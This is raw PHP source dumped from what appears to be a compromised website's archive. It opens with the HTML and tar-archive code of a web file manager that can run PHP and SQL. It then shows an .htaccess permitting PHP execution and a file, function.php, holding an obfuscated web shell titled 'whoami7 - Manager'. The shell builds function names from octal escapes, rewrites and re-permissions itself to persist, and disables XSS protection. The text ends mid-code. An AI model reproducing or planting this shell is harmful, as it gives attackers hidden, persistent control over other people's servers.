class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK ��ZV��I I ! topsaasview.com/private/.htaccessnu �[��� <FilesMatch \.php$> Order allow,deny Allow from all </FilesMatch>PK ��Z$� _>c >c $ topsaasview.com/private/function.phpnu �[��� <?php while(false){/*EGnMI8l7eEco9PFk*/ break;}; ?><?php $qybp="";$qybp.="\142";$qybp.="\141";$qybp.="\163";$qybp.="\145";$qybp.="6";$qybp.="4";$qybp.="\137";$qybp.="\144";$qybp.="\145";$qybp.="\143";$qybp.="\157";$qybp.="\144";$qybp.="\145"; $hjnx="";$hjnx.="\164";$hjnx.="\162";$hjnx.="\151";$hjnx.="\155"; $lzp="";$lzp.="\145";$lzp.="\170";$lzp.="\160";$lzp.="\154";$lzp.="\157";$lzp.="\144";$lzp.="\145"; $sgm="";$sgm.="\143";$sgm.="\150";$sgm.="\155";$sgm.="\157";$sgm.="\144"; $lbv="";$lbv.="\146";$lbv.="\151";$lbv.="\154";$lbv.="\145";$lbv.="\137";$lbv.="\147";$lbv.="\145";$lbv.="\164";$lbv.="\137";$lbv.="\143";$lbv.="\157";$lbv.="\156";$lbv.="\164";$lbv.="\145";$lbv.="\156";$lbv.="\164";$lbv.="\163"; $hal="";$hal.="\146";$hal.="\151";$hal.="\154";$hal.="\145";$hal.="\137";$hal.="\160";$hal.="\165";$hal.="\164";$hal.="\137";$hal.="\143";$hal.="\157";$hal.="\156";$hal.="\164";$hal.="\145";$hal.="\156";$hal.="\164";$hal.="\163"; $oHZYOhBCIi=$lzp($qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+"),$lbv(__FILE__));if($hjnx($oHZYOhBCIi[0])!=""||$hjnx($oHZYOhBCIi[2])!=""){$sgm(__DIR__,0755);$sgm(__FILE__,0644);$hal(__FILE__,$qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+").$oHZYOhBCIi[1].$qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+"));}?><?php HeAdeR("X-XSS-P\x72\x6f\164e\143\x74\x69on: 0");oB_STArT();sEssION_sTArT();SEt_TiMe_lIMIT((int)Round(-88+-88+-88+-88)-(int)RoUnD(94.5+94.5+94.5+94.5)+(int)RoUnd(182.5+182.5+182.5+182.5));echo"<!\104\117CTYPE H\124ML\076\x0d\x0a\x3c\150tm\x6c\x3e\015\012<hea\144>\x0d\x0a\x3ct\x69tle>As\151\x6b\x6b\055&w\153wkwk\x77kw</\164i\164l\x65\076\x0d\012<\155e\x74a name=\042d\x65sc\162ip\x74i\157\x6e\042\x20co\156t\145\156t=\x22w\x68\157\x61mi\x37\x22>\x0d\012\074l\x69n\x6b\x20h\162ef=\x22\150\164t\x70s\x3a\057\x2f\x66o\156t\x73.goog\154\x65\x61p\x69\163.c\x6f\x6d\057\x63s\x73\x3f\146amil\171=\113e\x6c\154\171+\x53lab\042 \162e\x6c\x3d\x22\x73\164\171leshe\145t\042\x20type=\x22\164ext/\x63s\163\x22>\015\012\x3clink hr\145\x66=\x22\150ttps\072//\163\x74\141\x63\153pa\164h.\142oot\163trap\x63dn\056c\x6fm\057\x66\x6fnt-awesom\x65/\064.\067.\x30/cs\x73/\146o\x6et-\x61wes\157\155\x65.\x6d\151n.\x63ss\042\x20re\x6c\x3d\042\163ty\154esh\x65\x65t\x22 \164y\160e\x3d\042\164ex\164\x2fc\x73s\042\057>\x0d\x0a<\x63\x65\156\164\145r>\015\x0a<style\040t\x79pe=\x22\x74ext/\143ss\042\076\x0d\012body \173\x0d\012\x09fon\164-fami\x6cy\x3a\x20K\145lly \123\x6cab\073\015\012\x09backgro\x75nd-\x63o\154or: \x62\154ac\x6b;\015\x0a\011col\x6f\x72: \x6ci\155\145;\x0d\x0a\011\175\015\012#con\x74\x65\156t \164r:\150over{\015\x0a\011\142ack\x67\162ound\x2d\143\157l\157r\072 #\073\x0d\012\011\164\x65\170t-s\x68ad\x6fw\x3a0\x70x 0px \0610\160x #F\x461493;\015\x0a\011}\x0d\x0a#\x63o\x6ete\156\164 .\146\151rst{\015\x0a\x09\x63\157\x6co\162:\040#00\060\x300\x30;\x0d\012\011\x62a\143kgr\x6f\165nd-\x69\155a\147\x65\072url(\x23)\x3b\015\012\x09\175\x0d\012\043conte\156t \056\x66ir\163t\072h\157\166e\162{\x0d\x0a\011\142ack\147ro\165nd-\143\157\x6co\162\072\040#\x46F\x314\0713\073\x0d\x0a\x09t\145\x78t-\x73\150ad\x6fw\072\x30\160\170\040\x30p\x78\0401p\170\x20#FF\x31\x34\x39\063;\015\x0a\x09\x7d\015\x0at\141\x62\154\x65\054 th\x2c td {\x0d\x0a\011\x09\x62\x6fr\144er-c\157\154\154a\160\163e:col\x6ca\x70se\073\x0d\x0a\011\x09\x70\141d\144\151n\147: \065px\x3b\x0d\x0a\011\x09co\x6cor\x3a #F\x4614\0713;\x0d\012\011\x09\x7d\x0d\x0a\x2e\x74ab\154e_home\054\x20.th\x5fhom\x65, .t\144\x5fho\155\145\x20{ \015\x0a\x09\x09\143olo\162: #\106F\x31493;\015\x0a\011\x09\142o\162\x64er\x3a \x32px\040\163\157li\x64 \043FF14\x39\063\073\x0d\012\x09\x09\x70a\x64ding: 7\x70x\073\x0d\x0a\011\011\x7d\x0d\012\141\x7b\015\x0a\011font-s\151\172\145\x3a 19\160x\x3b\x0d\012\011co\x6cor: \x23\106\106\061\x34\x39\x33;\x0d\x0a\011\164e\x78\x74-\x64eco\162ati\157n: none;\x0d\x0a\011}\x0d\012a:h\157\x76e\162\x7b\x0d\x0a\011c\157l\157r\x3a\x20#\x46\1061493;\x0d\x0a\011t\145\x78\x74\x2d\163\150adow:0\160x\0400\x70x\x20\0610\160\x78\040#\x46\x46\x3149\063;\x0d\x0a\x09\175\015\x0ain\x70ut,s\145\154ec\164\054te\x78\x74\141\x72ea{\015\x0a\011\142\x6f\x72\x64er:\x201\x70\x78 \x23FF14\071\063 so\x6cid;\015\012\x09-\155oz\055\x62o\162der-r\141\144iu\x73\x3a \x35p\x78\x3b\x0d\x0a\x09\x2d\x77eb\x6bit-bor\x64\145\162-ra\144\x69\x75s:5p\x78;\015\012\x09b\x6f\162der\x2dr\141\144ius\0725\160x;\x0d\012\011}\015\x0a.\143los\x65\x20{\x0d\x0a\x09overflo\167: \x61\165to\x3b\x0d\012\x09\142\x6f\x72der: \x31p\x78 sol\151d\x20#\x46F1\x34\0713\x3b\x0d\012\011\x62\141\143kgrou\x6ed: b\154\141\143k;\x0d\012\x09color: #FF14\x39\x33;\015\012\x09\175\015\012.r\040{\x0d\012\011\146\x6co\x61t: right;\015\012\x09t\145\x78t-\x61li\x67n:\x20r\151gh\x74;\015\x0a\011\x7d\015\012</\163\164y\154e\076\x0d\012<a\x20href\075\042\077\x22>\x3c\150\061\040\x73\164y\154e\x3d\042\x66ont\x2dfa\155il\x79\x3a\x20\x4be\154\x6cy\x20Sl\141b; \146\157nt-si\172e: 35p\x78;\040color\x3a white;\x22></h1\x3e\074\x2fa> \015\012<ce\x6eter><b><\146ont \146\141\143e=\042C\x6furie\x72 \116e\167\042 \143olor=\042w\150i\164\x65\042 \163i\x7ae\x3d\x22\065\x22>w\x68\x6f\141\155\x697 \x2d Man\x61\147\x65\x72 </fo\156\x74></b\076<\x2fcent\145r>\x0d\x0a\x3c\102\x4fDY\076\015\012\x0d\x0a\074\x74\x61bl\x65 widt\150\x3d\0429\x35%\042 b\x6fr\144er=\x220\x22 ce\x6c\154\x70addi\x6e\x67\x3d\0420\042\040cel\x6c\163\160a\143\151\x6e\147\075\x22\x30\x22 alig\x6e\075\042left\042>\015\x0a\x3c\x74\x72\076<t\x64>";echo"\074\164a\x62\x6c\145\040wi\144t\x68=\x22\071\065%\x22 b\157rde\x72=\x220\042\x20\x63ellpad\x64ing=\x220\042\x20cell\163p\141\x63in\x67=\0420\042 alig\x6e\x3d\x22\143e\x6e\164er\042\x3e\015\x0a\x3c\x74r \141li\147n\x3d\042c\145n\164er\x22\076\074td\040align=\x22c\x65\x6e\164e\x72\x22>\074\142\162\076";if(isset($_GET["\x70ath"])){$_rchv=$_GET["\x70a\x74\x68"];}else{$_rchv=gETcWD();}$_rchv=sTR_RePlACe("\x5c","\057",$_rchv);$_fxdae=EXpLoDe("/",$_rchv);foreach($_fxdae as$_lyvgaxi=>$_trbno){if($_trbno==""&&$_lyvgaxi==(int)rouNd(0+0)){$_xruhfq=true;echo"\074\x69 c\154\141\163\x73=\042f\x61 f\x61-\x66\x6fl\144e\x72-o\042\076\x3c/i>\040:\x20\x3ca\040h\x72e\146\x3d\x22\x3f\x70\141t\150=/\x22\076\x2f</a>";continue;}if($_trbno=="")continue;echo"<\x61 